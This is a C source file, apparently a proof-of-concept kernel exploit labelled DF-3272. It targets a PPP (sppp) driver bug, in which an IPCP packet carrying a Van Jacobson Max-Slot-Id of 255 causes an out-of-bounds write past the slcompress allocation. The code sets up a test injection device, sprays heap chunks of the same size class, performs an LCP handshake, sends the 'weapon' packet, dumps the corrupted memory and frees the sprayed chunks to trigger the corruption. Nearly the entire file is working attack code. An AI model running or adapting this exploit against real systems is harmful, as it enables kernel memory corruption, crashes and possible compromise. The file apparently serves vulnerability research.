DF-3272 / drive3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* DF-3272: prove the OOB write contents, then detonate via same-class frees */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> static int fd; struct sppinj_mem { uint64_t addr; uint32_t len; uint32_t pad; uint8_t data[4096]; }; #define SPPINJ_GETMEM _IOWR('j', 1, struct sppinj_mem) #define SPPINJ_SPRAY _IO('j', 2) #define SPPINJ_UNSPRAY _IO('j', 3) #define SPPINJ_GETCOMP _IOR('j', 4, uint64_t) static uint64_t comp; static int rx1(unsigned char *buf, int max) { return read(fd, buf, max); } static void dump(uint64_t addr, uint32_t len, const char *tag) { struct sppinj_mem m; uint32_t i; m.addr = addr; m.len = len; m.pad = 0; if (ioctl(fd, SPPINJ_GETMEM, &m) < 0) { printf("[!] GETMEM: %s\n", strerror(errno)); return; } printf("---- %s @ 0x%llx ----\n", tag, (unsigned long long)addr); for (i = 0; i < len; i += 16) { int j; printf("%06llx: ", (unsigned long long)(addr + i)); for (j = 0; j < 16 && i + j < len; j++) printf("%02x ", m.data[i + j]); printf("\n"); } } static int last_confreq_id(void) { unsigned char b[2048]; int n, id = -1; for (;;) { n = rx1(b, sizeof(b)); if (n < 0) break; if (n >= 8 && b[2] == 0xc0 && b[3] == 0x21 && b[4] == 0x01) id = b[5]; } return id; } int main(void) { unsigned char b[2048]; int i, id, armed = 0, tries; setbuf(stdout, NULL); fd = open("/dev/spppinj0", O_RDWR | O_NONBLOCK); if (fd < 0) { perror("open"); exit(1); } if (ioctl(fd, SPPINJ_GETCOMP, &comp) < 0) { perror("GETCOMP"); exit(1); } printf("[*] sp->pp_comp = 0x%llx, sizeof=4656\n", (unsigned long long)comp); /* fill the slcompress size class around comp */ if (ioctl(fd, SPPINJ_SPRAY) < 0) perror("SPRAY"); printf("[*] sprayed 64 x 4656-byte chunks (same size class)\n"); dump(comp + 3900, 128, "BEFORE weapon: rstate[10..] tail (expect zeros)"); /* bring spp0 up -- in-process, same as ifconfig(8) */ { int s, rc; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "spp0", IFNAMSIZ); s = socket(AF_INET, SOCK_DGRAM, 0); rc = ioctl(s, SIOCGIFFLAGS, &ifr); printf("[*] SIOCGIFFLAGS rc=%d flags=0x%x\n", rc, ifr.ifr_flags); ifr.ifr_flags |= IFF_UP; rc = ioctl(s, SIOCSIFFLAGS, &ifr); printf("[*] SIOCSIFFLAGS(up) rc=%d\n", rc); close(s); } /* LCP handshake with re-sync (30s window) */ for (tries = 0; tries < 100 && !armed; tries++) { unsigned char a[8] = {0xff,0x03,0xc0,0x21,0x02,0,0x00,0x04}; unsigned char q[14] = {0xff,0x03,0xc0,0x21,0x01,0x07,0x00,0x0a, 0x05,0x06,0xde,0xad,0xbe,0xef}; int n; usleep(300000); id = last_confreq_id(); if (id < 0) { printf("[.] waiting for CONF-REQ (%d)\n", tries); continue; } printf("[.] try %d: ACK id=%d\n", tries, id); a[5] = id; write(fd, a, 8); write(fd, q, 14); usleep(150000); for (;;) { n = rx1(b, sizeof(b)); if (n < 0) break; if (n == 14 && b[2] == 0xc0 && b[3] == 0x21 && b[4] == 0x02 && b[5] == 0x07) { armed = 1; break; } } } if (!armed) { printf("[!] handshake failed\n"); exit(1); } printf("[+] LCP OPENED\n"); /* weapon */ { unsigned char f[14] = {0xff,0x03,0x80,0x21,0x01,0x09,0x00,0x0a, 0x02,0x06,0x00,0x2d,0xff,0x01}; printf(">>> WEAPON: IPCP VJ Max-Slot-Id=255\n"); write(fd, f, 14); } usleep(200000); /* show what got written: stride-144 cstate entries with (ptr, id=i) */ dump(comp + 3900, 160, "AFTER weapon: rstate tail + past-end"); dump(comp + 4640, 64, "AFTER weapon: allocation end +0..64 (OOB)"); printf("[*] freeing sprayed chunks (touches corrupted zones)\n"); ioctl(fd, SPPINJ_UNSPRAY); printf("[*] unspray done, alive\n"); for (i = 0; i < 50000; i++) { int s = socket(2, 1, 6); if (s >= 0) close(s); } printf("[!] survived\n"); return 0; } |